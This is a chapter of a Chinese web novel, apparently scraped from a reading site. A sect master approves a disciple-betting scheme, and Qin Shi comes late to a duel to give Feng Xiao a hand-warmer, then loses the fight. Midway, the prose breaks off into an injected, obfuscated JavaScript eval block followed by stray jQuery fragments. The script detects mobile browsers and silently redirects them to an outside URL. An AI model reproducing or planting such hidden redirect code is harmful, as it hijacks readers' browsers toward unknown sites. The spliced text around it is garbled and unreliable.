寻常比试，一般是早半个时辰到，好活动热身。譬如那王师兄便提早来到演武场，徐徐活动周身关节，动作由缓至疾，直至气血活络，肌骨温热，额头已渗出薄汗。


    此时距离约定的午时，已只有一刻钟的功夫。


    风潇那头已截止了下注。


    邢潜一早便支好了摊子，弟子们也熟练地围过来，掏银子的掏银子，拿凭条的拿凭条，吵吵嚷嚷，声势浩大。


    因此早吸引了祝寻锋的注意。


    恐耽误了那边的热闹，她只扭头问了纪啸。纪啸便把风潇是如何开了盘，以及说服他“这也是为弟子好”那番话，一股脑讲给了掌门听。


    当然没讲“给孩子的”那段。


    祝寻锋兴味更甚，直直盯着那张小小的桌子：“非但如此呢。”


    “不只是叫观摩下注的弟子们看时能练其眼力，对那擂台上的人来说，才更是大有裨益。”


    “宗门平日里的切磋，美其名曰‘点到为止’，上场比的不是生死相搏的狠劲，而是谁招式更花哨、谁身法更飘逸。反正赢了无关痛痒，输了也不伤皮毛嘛。”


    她目光清亮而欣喜，此时语气认真，终于在懒散中显出些一宗掌门的锐利来。


    “长此以往，练出的不过是一身表演的把式，而非搏杀的血性，一旦下了山，断不足以应对真正的穷凶极恶之徒。”


    “如今拿真金白银给自己下了注，更遑论背后还有其他人赌上切身钱财的厚望，输了便不只是颜面扫地的事了，焉能不拼尽全力？”


    纪啸听着却有些担忧：照这样说，宗门弟子们切磋变成了以命相博，其间损伤又该如何避免？万一逼得他们使出些阴招，岂不败坏了流云宗门风？


    然而方才为了那五五分成的利钱，他已对着掌门极尽夸赞此法，此时也不好态度陡转。一面又怕真出了事，未来自己要担责，于是忙使眼色给林长老。


    林清漪接收到了，却只觉得他大庭广众之下对自己眉来眼去，没个长老的样子，于是瞪视回去。


    嘴上不忘开口附和道：“确是如此。只要不伤及性命，逼出他们的狠辣手段和血性，对以后真刀实枪与人打斗只有好处。”


    纪啸决定不再说话了。


    开始前一刻钟下注截止，邢潜那边闲了下来，祝寻锋忙凑了过去，细细看布上和纸上的文字，又拉着风潇问东问西。


    林清漪终于有了空闲，扭头去盘问纪啸：“风长老和秦时的背景查了吗？干净吗？不是别的宗安插进来的吧？秦时那一身功夫来路正吗？心性如何……”


    “我做事你有什么不放心的？”纪啸拍着胸脯安慰道，“暂时都看不出什么问题。风潇不过是个孤女，恰巧搭上了秦时罢了；秦时的来处查不太清楚，却真气纯净圆融，心性质朴正直，之后在咱们自己眼皮子底下看着长大，不会有什么闪失。”


    林清漪这才点了点头。


    两边各聊各的，一刻钟转瞬即逝，已到了约好的午时。


    纵是方才未见秦时丝毫不着急的掌门长老几人，此时也露出几分狐疑之色；早在一刻钟前便开始焦急的围观弟子们，更是议论纷纷。


    “怎么到点了还不见人？总不能是不敢来应战了吧？”


    “那我刚刚押了他，这怎么算？”


    “算他直接输呗，你的钱全搭进去喽！”


    “滚！”


    短短几分钟过去，秦时的来历已被众人嚼了个遍。


    “说是风长老带进来的，直接就做了内门弟子，谁知道他有没有那个本事！”


    “长得浓眉大眼的，指不定是怎么入了风长老的眼……”


    “难怪不敢应战，原来是个上不得台面的小白脸，真要与人比试就露怯了！”


    嗡嗡的议论声中，有一道几乎被淹没的声音：“那个人是他吗？好像来了？”


    只见远处飞奔来一道穿玄色练功服的人影，步履匆匆，眉头紧皱。


    正是秦时。


    到了近前，已有更多弟子注意到他，却见他本已来迟，还不尽快上擂台去，反而朝着外围的一处，拨开人群，径直而来。


    比平日更急促地微微喘着气，站定在风潇面前。


    他伸手，手上是个铜制的、扁圆的小壶。外面包着一层布，上方有个小口，冒着细细的白雾。


    风潇犹豫着接过。


    拿在手上热乎乎的，才发觉那白雾原来是热腾腾的水汽。


    这大概就是古代的……汤婆子？


    秦时的气息这时才恢复平稳，开口解释道：“本来昨晚就寻了来的，想着今日出门前再烧水装进去，能多热乎一会儿。”


    “结果不太熟练，水全洒了，又折腾了许久……”


    他垂眸，视线不经意地落在自己刚刚递出汤婆子、还没来得及完全收回来的右手上。


    上头有显而易见的一片红。


    习武习的又不是金钟罩，滚烫的热水泼在手上，那一瞬间痛得很，手一下子就红了，冲了许多遍冷水，仍没见消下去。


    此处应有一个慢镜头，把时间凝固在伸手刚接过的风潇，和直直站在她面前的秦时身上。


    即将上场比武的、连掌门都亲自来看的他，来到流云宗的第一场切磋，在众目睽睽下姗姗来迟，就只为了给她带这么一个装满了热水的汤婆子。


    泛红的右手还停留在空气中，昭示着他笨拙的心思。


    风潇从秦时脸上看出了久违的熟悉神情。


    小狗刚学会握手或蹲下时，自以为学会了很了不得的本领，于是摇着尾巴等主人的夸奖，就会露出这样的表情。


    风潇面前霎时出现了无数张不同的脸，手上都捧着红糖水，以这样的眼神盯着她，或隐晦或明显地等她给出惊喜的反应。


    又要遛狗了。


    风潇在心里默默为他选了条黑色的项圈。


    在不少目光的注视下，她垂下眼帘，面上几乎毫无波动，只淡声道：“你费心了，快去吧。”


    秦时肉眼可见地眼睛睁大了些，一副不可置信的神情，似乎是怀疑自己听错了。


    然而他反应很快，迅速收敛了所有表情，很轻很轻地应了一声：“嗯。”


    而后毫不犹豫地转身朝擂台走去，只有收回袖子里的右手还在微微发颤。


    大声的议论纷纷变成小声的窃窃私语。


    “看见没有？刚一过来就先去讨好风长老了，我就说是她的小白脸吧！”


    “原来是傍上了长老，难怪连迟到都能不当回事……”


    离得太远，秦时已听不见。他站上擂台，作势环顾一周，扫到那个方向时偷偷多停留一眼。


    却见一众仰着的脸里，唯有风潇埋着头，定定地盯着手中的汤婆子。她的头太低，秦时看不清是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402571|182570||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么表情，然而在短暂扫视过去的那一秒里，至少能看出她毫无抬头的迹象。


    于是他的心情突然放晴，好像熬过了一场又突然又狼狈的大雨。


    凝神应付眼前的王师兄。


    演武场擂台上两人相对而立，互相一抱拳，而后同时动了，以迅雷不及掩耳之势。


    秦时的剑快得惊人，将王师兄逼得连连后退，只有招架之功，全无还手之力。


    台下刚刚还一片嘘声的弟子们止了声音，紧盯着上头两人，面上逐渐露出惊疑之色。


    押给秦时的其实也有近半之数，因想着毕竟是纪长老破例招进来的，指不定并非有后台，而是真有些天赋在身上。见此情形，纷纷面露喜色，只觉自己慧眼识珠，竟真押对了一匹黑马。


    然而不过十招，形势却逐渐有了变化。


    秦时的额头渗出细密的冷汗，脸色微微发白，凌厉的剑招开始走形。每一次发力，腹部都传来一阵难以忍受的绞痛和下坠感，迫使他无法使出全力，脚步也变得虚浮。


    他不得不分出大半心神去对抗身体里那股翻江倒海的冲动。


    王师兄也是实战经验不少的老弟子了，很快察觉出异样，于是稳住阵脚，剑招变得沉稳起来。不再急于抢攻，而是开始耐心周旋，刻意消耗秦时的体力。


    秦时每一次格挡和闪避，眉头都锁得更紧。他咬紧牙关，试图用更快的速度结束，然而一记猛力的劈砍后，身形猛地一滞，竟是小腿一软，险些没能站稳。


    就是这一刻！


    王师兄眼中精光一闪，抓住这转瞬即逝的空档，一记毫无花招的直刺！


    若在平日，秦时轻易便能格开甚至反制。但此刻，他腹中猛地一绞，所有气力仿佛瞬间被抽空，格挡的动作也生生慢了半拍。


    剑尖精准地点在了秦时的心口部位。


    虽未开刃，胜负却已分。秦时僵在原地。


    局势扭转太快，场下一片寂静。


    良久，祝掌门带头起身，一言不发地离场。林清漪与纪啸忙跟了上去。


    待走出人群一段距离，纪啸忙开口解释：“今日他面色苍白、气息不稳，出剑虚浮无力，恐是身体突发不适。这小子平日无论是修为还是剑术，都不是今日这个水准……”


    “我知道，”祝寻锋不以为意地打断了他，“能看出来底子不错，今日确实是有些可惜了。”


    “不妨事，未来的日子长着呢。”


    纪啸松了口气。


    留在原地的风潇却大气不敢喘。


    一半弟子赢了在分钱，另一半弟子便在一旁捶胸顿足。秦时不知何时已消失了，于是许多幽怨的视线就隐晦地落在风潇身上。


    压力好大。


    好不容易收了摊子，回到院子，风潇有些犹豫不决。今日一役，只恐秦时道心破碎，万一几日后与徐天凌的比试不敢应战了怎么办？


    她有心去宽慰两句，却因早上起得太早、又忙活了许久，实在懒得动弹，于是寻思着能不能拖到明日再去。


    正犹豫之间，院门响起缓慢却很有力的叩门声。


    “笃——笃——”


    风潇扬声问是谁，便听到秦时的声音在外头响起，比往日显得低沉和生硬许多。


    “是我，”他说，“我想来问问风长老，昨日螃蟹的事。”


    风潇心脏骤停了一瞬。